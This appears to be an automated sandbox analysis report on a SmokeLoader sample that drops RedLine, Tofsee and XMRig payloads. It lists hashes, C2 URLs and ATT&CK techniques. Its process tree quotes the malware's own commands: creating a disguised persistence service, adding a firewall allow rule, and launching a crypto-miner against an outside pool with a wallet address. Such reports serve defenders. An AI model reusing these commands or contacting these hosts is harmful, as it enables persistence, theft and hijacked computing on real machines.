Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    14-03-2021 16:42

General

  • Target

    SecuriteInfo.com.W32.AIDetect.malware1.21112.25472.exe

  • Size

    292KB

  • MD5

    b6478e8e908b78bec9a56db8074d4449

  • SHA1

    9b0f9ab2c8f2877f232e5abb0aaee3cd027caf70

  • SHA256

    87e1e8b1fb643ea3665a8d6994bf5f7f9b48ce07218ef488d49f95142eac0eaa

  • SHA512

    4df0fa7418f503691514698dbcb1efd6bd54aa96de20ea07ed6b08f58974ce4bd0b5566e67b0c5017e41de894cded8f71ba83a324200f983f408ceb36cdc814d

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://funzel.info/upload/

http://doeros.xyz/upload/

http://vromus.com/upload/

http://hqans.com/upload/

http://vxeudy.com/upload/

http://poderoa.com/upload/

http://nezzzo.com/upload/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • themida 3 IoCs

    Detects Themida, Advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.21112.25472.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.21112.25472.exe"
    1⤵
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1400
  • C:\Users\Admin\AppData\Local\Temp\DBEE.exe
    C:\Users\Admin\AppData\Local\Temp\DBEE.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\piihghre\
      2⤵
        PID:2312
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\twcwlwhn.exe" C:\Windows\SysWOW64\piihghre\
        2⤵
          PID:2524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create piihghre binPath= "C:\Windows\SysWOW64\piihghre\twcwlwhn.exe /d\"C:\Users\Admin\AppData\Local\Temp\DBEE.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3540
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description piihghre "wifi internet conection"
            2⤵
              PID:2120
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start piihghre
              2⤵
                PID:3856
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3472
              • C:\Windows\SysWOW64\piihghre\twcwlwhn.exe
                C:\Windows\SysWOW64\piihghre\twcwlwhn.exe /d"C:\Users\Admin\AppData\Local\Temp\DBEE.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2748
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1508
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1136
              • C:\Users\Admin\AppData\Local\Temp\6301.exe
                C:\Users\Admin\AppData\Local\Temp\6301.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2348
                • C:\Users\Admin\AppData\Local\Temp\6301.exe
                  C:\Users\Admin\AppData\Local\Temp\6301.exe
                  2⤵
                  • Executes dropped EXE
                  • Checks processor information in registry
                  PID:3676
              • C:\Users\Admin\AppData\Local\Temp\75EE.exe
                C:\Users\Admin\AppData\Local\Temp\75EE.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:380
              • C:\Users\Admin\AppData\Local\Temp\88FA.exe
                C:\Users\Admin\AppData\Local\Temp\88FA.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3640
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4000
              • C:\Users\Admin\AppData\Local\Temp\95BD.exe
                C:\Users\Admin\AppData\Local\Temp\95BD.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2724

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Virtualization/Sandbox Evasion

              1
              T1497

              Credential Access

              Credentials in Files

              3
              T1081

              Discovery

              Query Registry

              5
              T1012

              Virtualization/Sandbox Evasion

              1
              T1497

              System Information Discovery

              5
              T1082

              Peripheral Device Discovery

              1
              T1120

              Collection

              Data from Local System

              3
              T1005

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\6301.exe
                MD5

                733c058866785a5ef82a9474bd11da62

                SHA1

                71363109844a5b20268fb0c6be8a3e703f0ebea5

                SHA256

                81390fdca828de16c0bc98786ed21c6d52a90c2fea9ab3f8347750ed7448ffca

                SHA512

                9782fbb0e00d355f6baf4fd73d32495b595444628afbdbc3f3f16668d2c47272c15dd944325368d5aaacbca3834a053f7572bc9e7eb9f6364479e86925eaad5b

              • C:\Users\Admin\AppData\Local\Temp\6301.exe
                MD5

                733c058866785a5ef82a9474bd11da62

                SHA1

                71363109844a5b20268fb0c6be8a3e703f0ebea5

                SHA256

                81390fdca828de16c0bc98786ed21c6d52a90c2fea9ab3f8347750ed7448ffca

                SHA512

                9782fbb0e00d355f6baf4fd73d32495b595444628afbdbc3f3f16668d2c47272c15dd944325368d5aaacbca3834a053f7572bc9e7eb9f6364479e86925eaad5b

              • C:\Users\Admin\AppData\Local\Temp\6301.exe
                MD5

                733c058866785a5ef82a9474bd11da62

                SHA1

                71363109844a5b20268fb0c6be8a3e703f0ebea5

                SHA256

                81390fdca828de16c0bc98786ed21c6d52a90c2fea9ab3f8347750ed7448ffca

                SHA512

                9782fbb0e00d355f6baf4fd73d32495b595444628afbdbc3f3f16668d2c47272c15dd944325368d5aaacbca3834a053f7572bc9e7eb9f6364479e86925eaad5b

              • C:\Users\Admin\AppData\Local\Temp\75EE.exe
                MD5

                35396adfdf47dc493cf8fa4d00c77ff5

                SHA1

                946073c2499cb36b92cf3696ffe340c8683ea2cf

                SHA256

                6a89515fdad2ed5af6b6cfa3eba11e84e5bd8527d5447d43abdfbf375a353456

                SHA512

                766c54961324f3596f187e69c13c586db6bda077314da51a7a30317301f00f1eed284a1f735c5399a11fe5663ab13736b636d178620ae624ebd1845bef174929

              • C:\Users\Admin\AppData\Local\Temp\75EE.exe
                MD5

                35396adfdf47dc493cf8fa4d00c77ff5

                SHA1

                946073c2499cb36b92cf3696ffe340c8683ea2cf

                SHA256

                6a89515fdad2ed5af6b6cfa3eba11e84e5bd8527d5447d43abdfbf375a353456

                SHA512

                766c54961324f3596f187e69c13c586db6bda077314da51a7a30317301f00f1eed284a1f735c5399a11fe5663ab13736b636d178620ae624ebd1845bef174929

              • C:\Users\Admin\AppData\Local\Temp\88FA.exe
                MD5

                369fb2ac963684e85f1362c5a7088570

                SHA1

                3fb78e3d4ba9ad13c7487b6fb98aaa732ed71c06

                SHA256

                915c6b9c83af3c607f1ae883be20357daa598820dae990e9b305d75418103d35

                SHA512

                8aecfa443edf7e421634409d9029bc5ea0e4c669c645ad01d8a9755b88025446e44951d074444199026e436219d1ec9e6621d1b5f4c2ad25ff676dcce8f27438

              • C:\Users\Admin\AppData\Local\Temp\88FA.exe
                MD5

                369fb2ac963684e85f1362c5a7088570

                SHA1

                3fb78e3d4ba9ad13c7487b6fb98aaa732ed71c06

                SHA256

                915c6b9c83af3c607f1ae883be20357daa598820dae990e9b305d75418103d35

                SHA512

                8aecfa443edf7e421634409d9029bc5ea0e4c669c645ad01d8a9755b88025446e44951d074444199026e436219d1ec9e6621d1b5f4c2ad25ff676dcce8f27438

              • C:\Users\Admin\AppData\Local\Temp\95BD.exe
                MD5

                0e261dff8be1ae31a7d8808ac3ee02c1

                SHA1

                f969f799b3a5aaac8a3209ea8569f6f762430cf4

                SHA256

                46ef22f53bd6b18cba23c2a9d0bdae828291adfd5381200b88b6ee4cced0ac8a

                SHA512

                90f99195d386ce5f240d9c0a94f75c66abb8e254a02b57f86a76fb2b745f9cda020fefd165bb46fcacba0c42b1dab7d8e7e375ec073b25fa202037706b495106

              • C:\Users\Admin\AppData\Local\Temp\95BD.exe
                MD5

                0e261dff8be1ae31a7d8808ac3ee02c1

                SHA1

                f969f799b3a5aaac8a3209ea8569f6f762430cf4

                SHA256

                46ef22f53bd6b18cba23c2a9d0bdae828291adfd5381200b88b6ee4cced0ac8a

                SHA512

                90f99195d386ce5f240d9c0a94f75c66abb8e254a02b57f86a76fb2b745f9cda020fefd165bb46fcacba0c42b1dab7d8e7e375ec073b25fa202037706b495106

              • C:\Users\Admin\AppData\Local\Temp\DBEE.exe
                MD5

                b2b843aca834ec04444536ac1487b4ce

                SHA1

                6d2ea3cfea293b5a4e813736fffcc40fd55a4cce

                SHA256

                9efb704efe3b8c9e836dab14c52e3be57b444963bfce3493385adb4f5070cc6c

                SHA512

                f2de1089949606cc0f5ee17077b3361056988379857e96a1a4fe3571a2849137ac2ecab91400e8a71a7f49154a1902fb711c547a1d87d82be0062c8cc04dc374

              • C:\Users\Admin\AppData\Local\Temp\DBEE.exe
                MD5

                b2b843aca834ec04444536ac1487b4ce

                SHA1

                6d2ea3cfea293b5a4e813736fffcc40fd55a4cce

                SHA256

                9efb704efe3b8c9e836dab14c52e3be57b444963bfce3493385adb4f5070cc6c

                SHA512

                f2de1089949606cc0f5ee17077b3361056988379857e96a1a4fe3571a2849137ac2ecab91400e8a71a7f49154a1902fb711c547a1d87d82be0062c8cc04dc374

              • C:\Users\Admin\AppData\Local\Temp\twcwlwhn.exe
                MD5

                c6d4409500570b066838eb13d6103b49

                SHA1

                3e9480f67fdfafc7ec1619fe8ca380aa12f11a7b

                SHA256

                8753c588275e5f2e55a9cea3f001cd3e5b0c8bbe22f95af682212eac92a515b8

                SHA512

                a506abe262b79f73ccf4a8b3c6d3d0454359bf0cd5520394e439d48d9770744fc6d437a55b6fa8878bd6cc77706e750064410945f71901e4fe861b0bf657070d

              • C:\Windows\SysWOW64\piihghre\twcwlwhn.exe
                MD5

                c6d4409500570b066838eb13d6103b49

                SHA1

                3e9480f67fdfafc7ec1619fe8ca380aa12f11a7b

                SHA256

                8753c588275e5f2e55a9cea3f001cd3e5b0c8bbe22f95af682212eac92a515b8

                SHA512

                a506abe262b79f73ccf4a8b3c6d3d0454359bf0cd5520394e439d48d9770744fc6d437a55b6fa8878bd6cc77706e750064410945f71901e4fe861b0bf657070d

              • \Users\Admin\AppData\Local\Temp\CC4F.tmp
                MD5

                50741b3f2d7debf5d2bed63d88404029

                SHA1

                56210388a627b926162b36967045be06ffb1aad3

                SHA256

                f2f8732ae464738372ff274b7e481366cecdd2337210d4a3cbcd089c958a730c

                SHA512

                fac6bfe35b1ee08b3d42d330516a260d9cdb4a90bbb0491411a583029b92a59d20af3552372ea8fb3f59442b3945bf524ef284127f397ae7179467080be8e9b3

              • memory/380-49-0x0000000002A20000-0x0000000002A49000-memory.dmp
                Filesize

                164KB

              • memory/380-93-0x00000000069B0000-0x00000000069B1000-memory.dmp
                Filesize

                4KB

              • memory/380-90-0x0000000006190000-0x0000000006191000-memory.dmp
                Filesize

                4KB

              • memory/380-91-0x0000000006820000-0x0000000006821000-memory.dmp
                Filesize

                4KB

              • memory/380-94-0x0000000006B30000-0x0000000006B31000-memory.dmp
                Filesize

                4KB

              • memory/380-62-0x0000000005544000-0x0000000005546000-memory.dmp
                Filesize

                8KB

              • memory/380-50-0x0000000005550000-0x0000000005551000-memory.dmp
                Filesize

                4KB

              • memory/380-54-0x0000000005542000-0x0000000005543000-memory.dmp
                Filesize

                4KB

              • memory/380-51-0x00000000054A0000-0x00000000054C8000-memory.dmp
                Filesize

                160KB

              • memory/380-48-0x0000000077DE4000-0x0000000077DE5000-memory.dmp
                Filesize

                4KB

              • memory/380-107-0x0000000007330000-0x0000000007331000-memory.dmp
                Filesize

                4KB

              • memory/380-108-0x0000000007510000-0x0000000007511000-memory.dmp
                Filesize

                4KB

              • memory/380-92-0x0000000006840000-0x0000000006841000-memory.dmp
                Filesize

                4KB

              • memory/380-47-0x0000000073390000-0x0000000073A7E000-memory.dmp
                Filesize

                6.9MB

              • memory/380-46-0x00000000030F0000-0x00000000030F1000-memory.dmp
                Filesize

                4KB

              • memory/380-42-0x0000000000401000-0x000000000041B000-memory.dmp
                Filesize

                104KB

              • memory/380-53-0x0000000005540000-0x0000000005541000-memory.dmp
                Filesize

                4KB

              • memory/380-52-0x0000000005A50000-0x0000000005A51000-memory.dmp
                Filesize

                4KB

              • memory/380-36-0x0000000000000000-mapping.dmp
              • memory/380-55-0x0000000005543000-0x0000000005544000-memory.dmp
                Filesize

                4KB

              • memory/380-41-0x0000000000400000-0x0000000000D16000-memory.dmp
                Filesize

                9.1MB

              • memory/1136-43-0x0000000003000000-0x00000000030F1000-memory.dmp
                Filesize

                964KB

              • memory/1136-45-0x000000000309259C-mapping.dmp
              • memory/1400-4-0x0000000000400000-0x0000000000409000-memory.dmp
                Filesize

                36KB

              • memory/1400-3-0x0000000000030000-0x0000000000039000-memory.dmp
                Filesize

                36KB

              • memory/1400-2-0x0000000002FE0000-0x0000000002FE1000-memory.dmp
                Filesize

                4KB

              • memory/1508-39-0x0000000004C40000-0x0000000004E4F000-memory.dmp
                Filesize

                2.1MB

              • memory/1508-40-0x0000000002BF0000-0x0000000002BF6000-memory.dmp
                Filesize

                24KB

              • memory/1508-23-0x0000000002BC9A6B-mapping.dmp
              • memory/1508-22-0x0000000002BC0000-0x0000000002BD5000-memory.dmp
                Filesize

                84KB

              • memory/2120-17-0x0000000000000000-mapping.dmp
              • memory/2312-11-0x0000000000000000-mapping.dmp
              • memory/2348-27-0x0000000000000000-mapping.dmp
              • memory/2348-34-0x0000000002F70000-0x0000000002FB4000-memory.dmp
                Filesize

                272KB

              • memory/2348-30-0x0000000002F70000-0x0000000002F71000-memory.dmp
                Filesize

                4KB

              • memory/2524-14-0x0000000000000000-mapping.dmp
              • memory/2724-86-0x0000000004CD2000-0x0000000004CD3000-memory.dmp
                Filesize

                4KB

              • memory/2724-85-0x0000000004CD0000-0x0000000004CD1000-memory.dmp
                Filesize

                4KB

              • memory/2724-77-0x0000000004B50000-0x0000000004B51000-memory.dmp
                Filesize

                4KB

              • memory/2724-78-0x0000000073390000-0x0000000073A7E000-memory.dmp
                Filesize

                6.9MB

              • memory/2724-87-0x0000000004CD3000-0x0000000004CD4000-memory.dmp
                Filesize

                4KB

              • memory/2724-76-0x0000000002FA0000-0x0000000002FA1000-memory.dmp
                Filesize

                4KB

              • memory/2724-72-0x0000000000000000-mapping.dmp
              • memory/2724-88-0x0000000004CD4000-0x0000000004CD6000-memory.dmp
                Filesize

                8KB

              • memory/2724-84-0x0000000000400000-0x000000000043A000-memory.dmp
                Filesize

                232KB

              • memory/2724-83-0x0000000002FA0000-0x0000000002FD7000-memory.dmp
                Filesize

                220KB

              • memory/2724-81-0x0000000004A60000-0x0000000004A8D000-memory.dmp
                Filesize

                180KB

              • memory/2724-79-0x0000000004910000-0x000000000493E000-memory.dmp
                Filesize

                184KB

              • memory/2748-21-0x0000000003060000-0x0000000003061000-memory.dmp
                Filesize

                4KB

              • memory/2748-25-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/3032-6-0x0000000000510000-0x0000000000526000-memory.dmp
                Filesize

                88KB

              • memory/3472-20-0x0000000000000000-mapping.dmp
              • memory/3540-16-0x0000000000000000-mapping.dmp
              • memory/3640-65-0x0000000004AE0000-0x0000000004AE1000-memory.dmp
                Filesize

                4KB

              • memory/3640-56-0x0000000000000000-mapping.dmp
              • memory/3640-59-0x0000000073390000-0x0000000073A7E000-memory.dmp
                Filesize

                6.9MB

              • memory/3640-60-0x0000000000280000-0x0000000000281000-memory.dmp
                Filesize

                4KB

              • memory/3640-64-0x0000000004A50000-0x0000000004A51000-memory.dmp
                Filesize

                4KB

              • memory/3676-31-0x0000000000400000-0x0000000000447000-memory.dmp
                Filesize

                284KB

              • memory/3676-35-0x0000000000400000-0x0000000000447000-memory.dmp
                Filesize

                284KB

              • memory/3676-32-0x0000000000401480-mapping.dmp
              • memory/3856-18-0x0000000000000000-mapping.dmp
              • memory/3952-13-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/3952-7-0x0000000000000000-mapping.dmp
              • memory/3952-10-0x0000000003150000-0x0000000003151000-memory.dmp
                Filesize

                4KB

              • memory/3952-12-0x0000000002C20000-0x0000000002C33000-memory.dmp
                Filesize

                76KB

              • memory/4000-75-0x0000000004DC0000-0x0000000004DC1000-memory.dmp
                Filesize

                4KB

              • memory/4000-66-0x0000000000400000-0x0000000000426000-memory.dmp
                Filesize

                152KB

              • memory/4000-68-0x0000000073390000-0x0000000073A7E000-memory.dmp
                Filesize

                6.9MB

              • memory/4000-67-0x000000000041F392-mapping.dmp
              • memory/4000-111-0x00000000066A0000-0x00000000066A1000-memory.dmp
                Filesize

                4KB

              • memory/4000-113-0x0000000006740000-0x0000000006741000-memory.dmp
                Filesize

                4KB

              • memory/4000-114-0x0000000004DC1000-0x0000000004DC2000-memory.dmp
                Filesize

                4KB

              • memory/4000-117-0x00000000068F0000-0x00000000068F1000-memory.dmp
                Filesize

                4KB

              • memory/4000-118-0x00000000083C0000-0x00000000083C1000-memory.dmp
                Filesize

                4KB